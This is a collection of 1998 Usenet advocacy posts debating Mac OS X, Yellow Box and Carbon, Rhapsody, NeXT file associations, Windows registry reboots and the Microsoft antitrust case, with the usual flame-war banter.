References: <366DC928.16F3@bellatlantic.net> <EWpb2.1189$f97.1320@news.rdc1.sdca.home.com> <366EB83B.754F@bellatlantic.net> <74nl78$fdc$9@blue.hex.net> <366F6CD5.7491@bellatlantic.net> <1djtjkd.7nccqiadqzpgN@tycho.esrin.esa.it>
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Steve Knight wrote:
> The fact that Carbon already exists (at least in Cupertino) suggests to
> me Apple have simply taken out those APIs that won't work in a PMT/MP/SMP
^^^^^^
> environment rather than rewriting everything
Statements like these make me question the wisdom of these endless
debates around YB on Linux, Carbon on Windows, YB on Carbon, and
whatnot. Only and exclusively in marketing do asynchronicity and shared
protected memory simply blend in with a fifteen-year old procedural API
that relies heavily on VBL-tasks, A5 register context and Pascal strings
to function at all.
Pascal.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 18:54:13 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36755e23.17903984@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com> <36750C07.406C0211@ix.netcom.com> <36751c24.1008860@news2.asan.com> <3675528A.5C1F756F@cadence.com>
On Mon, 14 Dec 1998 18:01:46 +0000, in comp.os.ms-windows.advocacy
Simon Kinahan <simonk@cadence.com> wrote:
>I beleive DR used to have a genuinely preemptive version of DOS called
>C-DOS. Maybe that was combined into DR-DOS at some point ? I don't know how
>many applications it worked with, but it seemed like a good idea to me.
That does sound like a good idea. If they did ever do it, it
certainly wasn't in DR-DOS 5 or 6.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 18:49:29 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36755385.15185125@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <36753A45.AE394E33@cadence.com>
On Mon, 14 Dec 1998 16:18:13 +0000, in comp.os.ms-windows.advocacy
Simon Kinahan <simonk@cadence.com> wrote:
>Matthias Buelow wrote:
>>
>> You never change the routing table, or configure a different nameserver?
>>
>
>All you have to do is install a new application and it will tell you it
>needs to reboot. I'm told it is usually lieing, but its damn irritating.
Not all applications request a reboot. And for most of the ones that
do, it's not necessary. Most of the time, a reboot is required only
for consistency sake; so that all applications that might read the
registry all read the same info.
It only really matters for applications that read the required
registry entry on startup and and cache that info. After installing a
new application, it's possible that the first application now as
incorrect information.
Put it this way; the only time you must reboot is when the process
isn't giving you a choice. Otherwise, you can keep on computing
without worry.
From: drsoran@black.ops.cia.net
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 14 Dec 1998 18:39:54 GMT
Organization: Black Ops Division
Message-ID: <753m1q$5sk$1@csu-b.csuohio.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74s7kb$mn1$1@joxer.acsu.buffalo.edu> <74sfs5$tag$1@flotsam.uits.indiana.edu> <74shuc$equ$1@joxer.acsu.buffalo.edu> <74snkc$tpt$1@flotsam.uits.indiana.edu>
User-Agent: tin/pre-1.4-980618 (UNIX) (Linux/2.1.112 (i686))
In comp.os.linux.advocacy Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
: I would have thought some context would be extracted from the statement.
: E.g., HP may be bigger than Apple, but HP's line of calculators and their
: line of printers are not going to do much to bolster their line of Unix
: machines.
Just like Microsoft's domination in the operating system market
would do nothing to bolster their line of Office automation products or
keyboards and mice. ;-) Name recognition goes a long way.
--
-----------------------------------------------------------------------
drsoran@black.ops.cia.net | "Don't worry about the price,
Blinky lights are the essence of | we'll just print more."
modern technology! | Caffeine underflow (brain dumped)
From: "Matt" <matt@i_dont_want_your_email.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's never ending arrogance
Date: Mon, 14 Dec 1998 11:14:23 -0800
Organization: NNWS
Message-ID: <753o14$dj0$1@remarQ.com>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16> <74sa3o$hqd$1@nnrp1.dejanews.com> <3672a08a.4301575@news2.asan.com> <753aem$f2q$1@nnrp03.primenet.com>
HAHAHAHAHAHAHAHA.....
Perfect, can anyone say Derrick Currie
<snipped>
>It means, "I have absolutely nothing important in my life, and instead of
>going outside once in a while, and doing something with my life, I'm going
>to try to make myself feel important by joining the Anti-Microsoft
>campaign, so I can bitch about Microsoft to every single person I meet,
>and look really big and cool, to make up for everything I've missed out
>on in life because I was just too pathetic to take initiative."
<snipped>
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 11:15:31 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77aouj.bbv.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <36753A45.AE394E33@cadence.com> <36755385.15185125@news2.asan.com>
On Mon, 14 Dec 1998 18:49:29 GMT, Willy <willy1@rocketmail.com> wrote:
>On Mon, 14 Dec 1998 16:18:13 +0000, in comp.os.ms-windows.advocacy
>Simon Kinahan <simonk@cadence.com> wrote:
>
>>Matthias Buelow wrote:
>>>
>>> You never change the routing table, or configure a different nameserver?
>>>
>>
>>All you have to do is install a new application and it will tell you it
>>needs to reboot. I'm told it is usually lieing, but its damn irritating.
>
>Not all applications request a reboot. And for most of the ones that
>do, it's not necessary. Most of the time, a reboot is required only
>for consistency sake; so that all applications that might read the
>registry all read the same info.
>
>It only really matters for applications that read the required
>registry entry on startup and and cache that info. After installing a
>new application, it's possible that the first application now as
>incorrect information.
>
>Put it this way; the only time you must reboot is when the process
>isn't giving you a choice. Otherwise, you can keep on computing
>without worry.
So, the naive user is expected to ignore the directives
that are being thrown at it by what is essentially an
'expert system' constructed for their benefit?...
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <36753A45.AE394E33@cadence.com> <36755385.15185125@news2.asan.com>
Organization: NIL
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Message-ID: <36756390.0@uni-wuerzburg.de>
Date: 14 Dec 98 19:14:24 GMT
In article <36755385.15185125@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>It only really matters for applications that read the required
>registry entry on startup and and cache that info. After installing a
>new application, it's possible that the first application now as
>incorrect information.
What an abominable kludge; Windoze stores all app's stuff in one
single database and doesn't even provide methods for synchronization.
>Put it this way; the only time you must reboot is when the process
>isn't giving you a choice. Otherwise, you can keep on computing
>without worry.
The process isn't given a choice by the operating system, yeah.
Not because the program is badly written, but because the operating
system was "designed" without even so much as basic understanding
of the used structures and methods.
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Message-ID: <jinx6568-1412981447520001@arc1a179.bf.sover.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <slrn77900a.oml.float@interport.net>
Organization: Airwindows
NNTP-Posting-Date: Mon, 14 Dec 1998 14:43:30 EDT
Date: Mon, 14 Dec 1998 14:47:51 -0500
In article <slrn77900a.oml.float@interport.net>, float@interport.net
(void) wrote:
>On Sat, 12 Dec 1998 17:52:36 GMT, Willy <willy1@rocketmail.com> wrote:
>>The "Name" field is a single field where you can enter the name in
>>Title-First-Middle-Last-Suffix fashion or Last, Title-First-Middle
>>fashion. Just about any way you enter the name, Outlook will
>>recognize the various parts. Also, Outlook has an understanding of
>>names and can correctly recognize last names such as "Van Derlin"
>>without making the mistake of making "Van" the middle name. The end
>>result is that a person can easily enter a name in any format they
>>wish and the parts of the name will be properly identified and stored.
>>There is a tremendous amount of code behind this seemingly simple
>>interface.
>What you see as a strength, I see as a weakness. The features you laud
>can only operate because the software makes a large number of assumptions
>about its environment. This is asking for trouble: software cannot
>usually tell when an assumption has gone wrong, and has no way of
>backtracking and reformulating hypotheses.
"Fire and Rain" James Taylor
"Graceland" Paul Simon
"Moondance" VanMorrison
*hee*
So much for Outlook ;)
Chris Johnson
@airwindows.com
chrisj
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Message-ID: <jinx6568-1412981452450001@arc1a179.bf.sover.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <3674B98C.45BC948D@brown.edu> <367522b5.2689507@news2.asan.com>
Organization: Airwindows
NNTP-Posting-Date: Mon, 14 Dec 1998 14:48:23 EDT
Date: Mon, 14 Dec 1998 14:52:44 -0500
In article <367522b5.2689507@news2.asan.com>, willy1@rocketmail.com
(Willy) wrote:
>The AOL e-mails tell a different story. They couldn't have used
>Navigator even if they wanted to. Their own technical requirements
>gave them no choice.
Are you crazy, Willy? Were you even listening to the parts of the
testimony where AOL reminded the MS lawyer how much of the AOL userbase
was on Windows 3.1? Your memory is _waaaay_ too selective. You're drawing
conclusions that would be thrown right out of court as inadmissible. The
judge would tell you to quit making stuff up.
Chris Johnson
@airwindows.com
chrisj
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 14 Dec 1998 20:05:26 GMT
Organization: MiscKit Development
Message-ID: <753r26$5e$1@news.xmission.com>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 14 Dec 1998 20:05:26 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> Jackson Cheung
> wrote:
> > Does anyone know what is going to happen to the current mac system
> > of having the desktop DB and resource forks to determine stuff like
> > file associations. I assume that all this stuff is still in the
> > blue box (and maybe carbon?). However, will we be be moving into a
> > world of 3 letter extensions when shifting to MacOS X (specifically
> > Yellow box)? If it's something like the latter, does this mean
> > there will be some sort of database analogous to a Windows registry
> > (yikes)?
>
> I was very worried about this too. Then I used it. Now I don't
> worry.
I can still think of some ways it could be improved, however. It works fine,
and I'm quite comfortable with it but I'd love to see more functionality.
And now for the long, long answer to this...
Here's the basic way it works:
Each application "registers" that it can handle a specific file "type". File
"types" are determined by their extension--which is defined by WorkSpace.app
as the portion of the file name will follows the last period (".") in the
filename. So the extension is NOT limited to three letters, at least under
NEXTSTEP, OPENSTEP, Rhapsody, Mac OS X, etc. You might have a problem if you
put YB atop an OS that supports only three letter extensions, but the long
filename stuff in Win 95/98/NT seems to remove that problem for YB/Windows.
So, suppose I have an extension of ".html". More than one application can
register as being able to handle that type of file, and each of these
applications may allow it to be manipulated in different ways. One may only
be a viewer (browser) while another might be a text editor and yet another a
WYSIWYG editor.
Now, when you log in to the computer, the WorkSpace.app will--as part of the
login--scan your "application directories" and create a cached list
containing all the extensions known by all your applications and which
applications can deal with each. It also has a set of preferences which is
keeps track of (which you can customize, of course) that tells it which
application you *prefer* to be used to open a particular filetype.
So I've set up .html files to open up in a programmer's text editor, since I
tend to edit HTML more often than view it. That's my preference. Most
people would make a browser such as OmniWeb be the default application for
opening .html files, I would expect.
How do you change it? In WorkSpace.app, there is an "inspector" which allows
you to inspect the attributes of a particular file. The pop-up list at the
top of the inspector offers an option to look at the "tools" for a particular
file. This is the list of applications that can open that type of file. You
are presented with icons for every app that can open the file. If you double
click any of the applications' icons, that application will be launched (if
it isn't already running) and the file will be opened in that application.
You can also single click an app icon to select it and then press the "set
default" button to change you preferred application to open that type of
file.
If an application is already running (or on the dock in OPENSTEP/NEXTSTEP),
then you can also command-drag the file and drop it onto the application to
cause that application to open the file. Even if the application doesn't
register for that type of file, it will be asked to open it anyway. It will
try to do so; if it can open the file, it will.
To be complete in my description, the applications must be in "application
directories" to be recognized. In order to keep login time to a minimum,
they've designated that only applications within certain directories will be
scanned; applications can be installed anywhere else, but they won't ever be
recognized as "tools" for opening files. So, for example.
"/System/Applications", "/Network/Applications", "/Local/Applications", and
"Applications" within your home directory and all the subdirectories of those
four are automatically scanned. Typically, you would install an app that
only you will use in your "Applications" directory and an app for everyone
who uses your computer in "/Local/Applications". If you network multiple
computers together, you install the app once in "/Network/Applications" and
all the computers on your network will be able to use the program.
You can add new directories to this list that will be scanned (or remove
directories) and if you were to include "/" (the root) then everything would
be scanned. (Try it once on a big hard drive and you'll learn real fast why
that's a bad idea.) One little sysadmin trick I've picked up along the way
is that if a particular app doesn't handle *any* file types at all (like some
games, for example), then I can purposefully stick it in a directory outside
of the search path and thereby be able to log in more rapidly--because that
app won't get scanned as a part of the login process.
Since you mentioned the "registry", I'll also mention how the preferences are
stored. There are two levels of "preferences", system-level and user-level.
The system-level stuff is the configuration information that tells the OS
about your hardware and configures your machine for the network, and so on.
This data is sometimes stored in various files throughout the system ("UNIX
flat files") but it is mostly found in "Netinfo", a database that is really
nifty from the sysadmin's perspective. Most users never bother with this,
and most will not have access to it because the sysadmin can lock them out.
On a home machine, you'll likely have access but will only rarely, if ever,
bother with adjusting any of this data. The OS install process will ask you
relevant questions and for the most part do all the config for you based upon
your answers, so that only changes in your environment would cause a need to
change anything in there.
User level preferences are stored in a database hidden inside your account's
home directory. This database holds adjustments for the Workspace (such as
default applications/tools for opening a particular file type) as well as
settings, if any, for every application you have installed. This database is
your personal copy; every user on the computer has their own. This allows
each user to make their own personalizations without affecting any of the
other users...which is as it should be. This data should not be mixed with
system configuration data.
Each application has a Preferences... panel that allows you to edit it's
parameters. You never deal with the defaults database directly (caveat: if
the app is poorly designed, you may find yourself occasionally tweaking it
directly). Instead, a well designed app will give you a full interface to
all the configuration stuff it offers. The database itself is therefore
under normal circumstances just an invisible storage mechanism.
There is one additional wrinkle, and that is that the system administrator's
account, "root", also has a preferences database, and it can affect *all*
users in certain situations. The key place where this happens is during the
login process. As discussed here in another thread, the application which
presents the login window runs as root, so root's preferences are the ones
that control several details of the login process.
Note that the Windows registry tends to encompass both of these databases
(system and user info) and as such falls prey to myriad problems that end up
causing crashes and strange behavior...which most people "fix" by
reinstalling the OS from scratch. Under Mac OS X you should _never_ have to
do that!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's never ending arrogance
Date: Mon, 14 Dec 1998 19:52:58 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <36756C9A.210D4E46@digiscape.com>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16> <74sa3o$hqd$1@nnrp1.dejanews.com>
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sinank@my-dejanews.com wrote:
>
> Acording to Microsoft company release about Dr. Edward W. Felten's written
> testimony:
> '.. he suggests merely that with enough engineering effort ...'. I.e. words,
> what one man can achieved can not be done by Microsoft who modified a mere
> 20 million lines of code in Windows NT ( ooops, 2000).
Why ooops? It is NT5.
>
> ' Testimony that ""Web browsing"" can be "removed" from Windows 98 says
> nothing about wheter Internet Explorer is a separate product.'
>
> So what does it say?
>
> " The government appears to envision a world in which any computer
> manufacturer has the right to modify Windows source code as they please' to
> make their products better ( my addition).
>
I'm all for GPLing Windows.
> Well good morning, how was your sleep?
>
> My take?
> "Microsoft envisions a world where NO ONE has the right to make their
> products work better by modifying Windows Source code."
> - Sinan Karasu
>
> "Microsoft envisions a world where Microsoft has the right to bully every
> computer manufacturer to deliver exactly what Microsoft tells them."
> - Sinan Karasu
>
Try this:
<insert any company here> wants 100% market share. It's the nature of
capitalism.
> If you had ANY doubts that the Microsoft Company should be broken
> up and Bill Gates should be sent to jail, I don't know what other proof
Jail? Sorry Gennica, er Sinan, Gates doesn't need to go to jail. That's
a bit out there, no?
> you need to the insidious and sleazy intentions they have. It is right
> there , the arrogance and the sleaziness, and the criminality of it all.
Sleazy? They want cash not naked photos of all the users.
--
/---------------------------------------------------\
| chaotic42@digiscape.com |
| http://130.74.57.55 | ftp://130.74.57.55 |
\---------------------------------------------------/
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's never ending arrogance
Date: Mon, 14 Dec 1998 11:34:37 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77aq2d.bf0.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16> <74sa3o$hqd$1@nnrp1.dejanews.com> <3672a08a.4301575@news2.asan.com> <753aem$f2q$1@nnrp03.primenet.com> <753o14$dj0$1@remarQ.com>
On Mon, 14 Dec 1998 11:14:23 -0800, Matt <matt@i_dont_want_your_email.com> wrote:
>HAHAHAHAHAHAHAHA.....
>
>Perfect, can anyone say Derrick Currie
>
><snipped>
>>It means, "I have absolutely nothing important in my life, and instead of
>>going outside once in a while, and doing something with my life, I'm going
>>to try to make myself feel important by joining the Anti-Microsoft
>>campaign, so I can bitch about Microsoft to every single person I meet,
I have a nice picture from the Champs-Elysie that's just
perfect for a twit like you... '-ppp
>>and look really big and cool, to make up for everything I've missed out
>>on in life because I was just too pathetic to take initiative."
><snipped>
>
>
>
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: 14 Dec 1998 20:29:57 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R1412981232380001@netnews.worldnet.att.net>
References: <73iop0$29t@crab.afs.com>
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In article <73iop0$29t@crab.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Not that this should surprise anyone, but Apple got one of PC Week's IT
> Turkey Awards this week for Rhapsody. Specifically, it says:
>
> "Rotten Apple: Before iMac came the Rhapsody OS -- the *first* savior of
> Steve Jobs' enterprise. How many software developers wasted their time on a
> product that never saw the light of day?"
>
> Quibble with the details if you like, but you have to admit this is the
> common perception.
It's not common at all. Most "common" people associate MacOS 8.X with Apple
right now. Jobs has done an effective job at raising the awareness of MacOS
over Rhapsody/OS X, in order to make sure Apple doesn't "Osborne" itself
into red ink and further embarrassment.
Furthermore, it was Jobs who retooled Rhapsody (which even some of the most
loyal Mac developers were not willing to support, given the requisite
ground-up rewrite of their apps) into MacOS X, which seems to be tooling
along quite nicely thankyouverymuch. "Rhapsody" was Gilbert Amelio's
boondoggle, not Steve's.
As far as the delay in MacOS X Server, market demands are the main culprit
here. Hard to release MacOS 8.5 (on schedule) and another OS at the same
time without cannibalizing sales. Rumor has it, Apple has taken advantage
of the extra time to fold more features (and transparent Blue Box
functioning) into OS X Server.
It'll be announced in about three weeks. It was supposed to originally be
the end of October. Eh, 2-3 months ain't bad at all in the OS world. And
considering that, unlike the mess MS is currently in with its NT
bloatmares, this voluntary delay hasn't garnered the confidence-waning
questions about a company's ability to deliver a specific product.
Apple has been successfuly churning out OS updates for two years now. The
same can most definitely not be said for the denizens of Billville. Not
that Windows is horrible or useless, or anything like that (it functions
for me every day). But the gang-that-couldn't-shoot-straight days are
*gone* at Apple.
Might as well just get used to it.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 13 Dec 1998 21:59:54 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <751dcq$a3k@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost>
On 13 Dec 98 13:35:51 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> >For some reason I don't understand what it is you're pointing out
>> >here. Porting YB frameworks between Linux and versions of BSD would be
>> >rather easy, right?
>> Apple would have to write a display engine that interfaces with AppKit
>> and provides the functional equivalent to eQD on OSX. This is _not_
>> going to be trivial. (I think Mike Paquette said something about this
>> a while back, but I am might be wrong)
>Would it make sense for Apple to release eQD under some semi-open
>license (like Sun's or Netscape's); or could eQD be ported to Linux
>kernel and sold as part of Apple's supposed "YB enhancement package"?
I don't know if Apple could open up eQD, and seeing that few (if any)
details are public at this point, I won't hazard to guess.
One thing that is certain is that Apple is working to build a royalty
free runtime for Windows.
>IIRC eQD is built into Apple's Mach and thus can't be put on the table
>unless Mach goes public too.
AFAIK, eQD is a set of drawing servers that exposes a PS interface to YB
Apps and a QD interface to Carbon Apps. What would be needed on X is a
display service that exposes a PS interface to YB Apps within regions of
the screen that are controlled by X itself. I would image that this would
be done in some manner close to other common X extensions.
(While I've done some work on X, I am hardly an expert. If anyone has
anything to add I would greatly appreciate it.)
>> I don't see it as "Linux momentum" as much as I see it as "opensource
>> momentum" Apache, gcc, KDE, perl, et al have all gotten tons of press
>> and if you ask me, Linux has grown because of those Apps. I don't think
>> it is the other way around.
>You got a point there, although I'd still consider Linux as the most
>visible of the many parts in the open source movement.
That's only because the CDs have the word Linux on them. :)
>> Seeing that OSX will run the opensource software that people use Linux
>> to run, I don't see why Apple needs to port YB to Linux now.
>Here's were our opinions differ the most. I see the port as an
>opportunity with its window closing as time goes by.
Why? Is the growth of Linux going to slow down? Is the Linux market going
to reach saturation?
Right now there are perhaps 8-12 million Linux users. I can see that becoming
12-15 by mid '99 and 15-20 million by the end of '99. That is still only a
dent in the total potential market.
I don't think we will reach a point where YB won't offer anything to Linux
users until around 2002. I can see Apple being at a point where it is
both possible and practical to do a port, long before that. Nicer hardware
and better software are both in the pipeline and sales should be solid for
the next year or so.
> And unlike
>Windows, Linux can make Apple's hardware more attractive to the
>mainstream as well by wiping away old software compatibility issues
>which left Apple in a niche in the first place.
The software compatibility issue that put Apple in a niche was the inability
to run DOS and DOS Apps, and latter Windows and Windows Apps. The current
software compatibility issues are the lack of support for Visual Basic and
MS Access that many companies use for custom line of business Apps.
I don't think Linux is going to help with this at all.
How many end users run web servers or SQL server or Perl scripts on their
own? How many set up file sharing by themselves?
Linux will help with those software compatibility issues, but so will OSX.
<<clip>>
>> it can not piggyback on Linux mindshare. Porting YB to Linux is not
>> anywhere near what Apple needs to do to build up an industry around
>> YB.
>I tend to believe the Linux port would of high strategic importance.
>Are you saying that YB for Windows and Mac OS X will be enough to
>guarantee YB's future with adequate developer adoption?
YB is a long term plan. I am reasonably certain that sales of WebObjects
will fuel development in YB for the next few years.
> If so, in what
>time frame do you see YB as becoming widely enough adopted to provide
>the Mac OS X platform with the new apps to guarantee its viability.
I don't see YB becoming that big a deal (outside of the old NeXT crowd)
for a few years.
You'll see Apps ported from the old NeXT crowd from day one. You might
see fresh new Apps (and hopefully damn good ones) within 6-9 months after
OSX ships.
>How long can Carbon be expected to keep working for Apple (once it
>even starts)?
I have no idea.
>> Very good integration between the user environment, the development
>> tools and the base OS. I think that is the biggest selling point.
>This leaves only the upcoming Mac OS X, and that was my point too. YB
>on other platforms helps but Mac OS X offers unique benefits - but
>only if YB becomes widely accepted. To those afraid that PowerMac
>sales would plummet if YB ran on Linux - Jobs has acknowledged that
>Apple is working hard to erase the hardware price disparity.
Then it would make sense _after_ hardware price disparity was gone. :)
>> I didn't say they mean squat, I just don't think they justify the time
>> and expense to port to Linux _now_ at the expense of other things Apple
>> is working on.
>Squat in near term...? :^) Anyway, I feel the time and expense
>issues could be addressed with parallel development and selective
>opensourcing, all weighted together with the momentum and
>time-to-market questions. These are matters of setting priorities once
>a strategy has been set.
The priorities right now are OSX on the g3 and YB on WinNT and Win95.
Beyond that is anyone's guess.
>> Nor do I think Apple can use Linux as an excuse to not improve Apps
>> support, hardware support or avoid improving the base OS.
>Agreed. But Linux still provides a "relevance bridge" between PC and
>Mac hardware platforms and YB could bridge the two in terms of
>software compatibility. Think Mainstream.
OSX on Intel could also provided a "relevance bridge". So could a ton
of other things (like IDE hard drives and USB based peripherals)
<<clip>>
>> I understand _why_ you would want Apple to support Linux, I just don't
>> think Apple can justify an attempt to sell to a portion of a 8-10 million
>> user market at the expense of reneging on its promises to a 22+ million
>> user market.
>I don't see YB for Linux being much different from YB for Windows in
>that respect.
The Windows market share is how many times larger than the Linux market share?
> In fact, YB/Linux might - if Mac OS X remains
>'not-available' for pre-G3 PowerMacs - provide a way to actually keep
>some of their promises. Like allowing my '97 PowerMac to run YB apps
>on an advanced, multi-tasking environment.
What model? From what I understand all of the [7,8,9][5,6]00 Macs will
run OSX Server. They may or may not be supported under OSX.
You have a point though.
> If any WinXX PC user has
>that option but my Apple-branded, "sold as Rhapsody-compatible" Mac
>doesn't run either Mac OS X or Linux _with_ Yellow Box... who's
>getting screwed at the expense of whom?
Another good point. But seeing that those boxes won't run Mac Apps,
having Linux would do little good.
>Also, I would like to point out that while the Linux market is an
>estimated 8-10 million seats (with something like doubling every year)
>Apple's own Mac OS X-compatible market will be more or less the number
>of G3 systems sold, not anywhere near 22+ million.
Apple is going to use OSX to convince those 22+ million to upgrade. FWIW,
a lot (maybe most) of those people are running '030 and '040 boxes.
>Besides, it sometimes feels as if Apple didn't have to justify
>anything to anyone anyway. <g>
They do have to justify things to the stock holders.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 20:40:15 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367576aa.24105942@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <36753A45.AE394E33@cadence.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de>
On 14 Dec 98 19:14:24 GMT, in comp.os.ms-windows.advocacy
token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) wrote:
>What an abominable kludge; Windoze stores all app's stuff in one
>single database and doesn't even provide methods for synchronization.
It's doesn't need a synchronization method. The registry is always
there you; just have to read it. However, Microsoft can't control
what other application developers do. So they request a reboot in
order to not cause any problems.
Large applications from Lotus and IBM (and others) do the same.
Sender: darin@snowboard
